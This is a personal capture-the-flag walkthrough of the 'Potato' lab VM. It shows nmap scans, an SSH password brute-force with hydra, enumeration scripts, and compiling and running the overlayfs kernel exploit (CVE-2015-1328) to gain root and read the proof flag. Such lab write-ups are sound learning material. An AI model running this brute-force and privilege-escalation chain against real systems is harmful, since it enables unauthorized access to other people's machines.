Potato

Friday, 16 October 2020 2:56 pm

Used ping scan to get the range of IP on my vmware host-only network.
Found target machine's IP to be 192.168.62.129

```
root@DESKTOP-A21HLNT:/tmp# nmap -sP 192.168.62.2-254
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-16 14:55 +08
Nmap scan report for WIN-GAC02D0O2NO (192.168.62.128)
Host is up (0.00072s latency).
Nmap scan report for 192.168.62.129
Host is up (0.00078s latency).
Nmap done: 253 IP addresses (2 hosts up) scanned in 21.79 seconds
root@DESKTOP-A21HLNT:/tmp#
```

Scan target machine and found 2 ports open, there's nothing much on the HTTP port tbh.

```
adminuser@DESKTOP-A21HLNT:~$ nmap -sC -sV -p- 192.168.62.129
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-16 15:03 +08
Stats: 0:01:37 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 91.36% done; ETC: 15:04 (0:00:09 remaining)
Nmap scan report for 192.168.62.129
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Potato
7120/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 b1:a8:49:bc:75:01:97:10:da:6a:fa:79:2f:12:41:30 (DSA)
|   2048 0d:6c:93:2a:1b:6c:10:bb:d4:01:4d:9c:42:34:36:df (RSA)
|   256 fc:96:d8:e5:a7:aa:d2:46:9b:00:bd:f2:be:45:cf:b5 (ECDSA)
|_  256 e3:b0:57:45:d3:83:44:45:af:3a:99:94:f8:25:a4:6c (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Remembered hint when I downloaded the machine, so I fired up hydra and tried potato as a username.

- Hint: "If you ever get stuck, try again with the name of the lab"

Rockyou.txt takes too much time, and I don't really wanna sit on my butt doing nothing so to hasten the process I used dictionary from SecLists

```
root@DESKTOP-A21HLNT:/SecLists/Passwords# hydra -l potato -P xato-net-10-million-passwords-10000.txt  192.168.62.129 -s 7120 -v -f -t 4 ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpo

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-16 15:16:55
[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), ~2500 tries per task
[DATA] attacking ssh://192.168.62.129:7120/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://potato@192.168.62.129:7120
[INFO] Successful, password authentication is supported by ssh://192.168.62.129:7120
[7120][ssh] host: 192.168.62.129   login: potato   password: letmein
[STATUS] attack finished for 192.168.62.129 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-16 15:17:21
```

At this point of time, I ran LinEnum.sh on the machine
https://github.com/rebootuser/LinEnum

Found nothing significant, I figured that it's wise to check for vulnerabilities in the kernel.

```
root@DESKTOP-A21HLNT:/SecLists/Passwords# ssh potato@192.168.62.129 -p 7120
potato@192.168.62.129's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Sep  8 02:04:57 2020 from 192.168.17.172
potato@ubuntu:~$
```

Seems like kernel is outdated -> April 10 2014

```
potato@ubuntu:/etc$ uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
potato@ubuntu:/etc$
```

```
potato@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04 LTS
Release:        14.04
Codename:       trusty
potato@ubuntu:/tmp$
```

Ran exploit suggester:

https://github.com/mzet-/linux-exploit-suggester

Found that the kernel is vulnerable.

```
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
```

```
[+] [CVE-2015-1328] overlayfs

   Details: http://seclists.org/oss-sec/2015/q2/717
   Exposure: highly probable
   Tags: [ ubuntu=(12.04|14.04){kernel:3.13.0-(2|3|4|5)*-generic} ],ubuntu=(14.10|15.04){kernel:3.(13|16).0-*-generic}
   Download URL: https://www.exploit-db.com/download/37292
```

Compile exploit and ran it.

```
potato@ubuntu:/tmp$ gcc exploit.c -o exploit
potato@ubuntu:/tmp$ ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare),1000(potato)
#
```

#root , mic drop.

```
# ls -lah
total 24K
drwx------  2 root root 4.0K Sep  8 02:05 .
drwxr-xr-x 22 root root 4.0K Sep  7 00:30 ..
-rw-------  1 root root  108 Sep  8 02:05 .bash_history
-rw-r--r--  1 root root 3.1K Feb 19  2014 .bashrc
-rw-r--r--  1 root root  140 Feb 19  2014 .profile
-rw-r--r--  1 root root   52 Sep  8 01:45 proof.txt
# cat proof.txt
SunCSR.Team.Potato.af6d45da1f1181347b9e2139f23c6a5b
#
```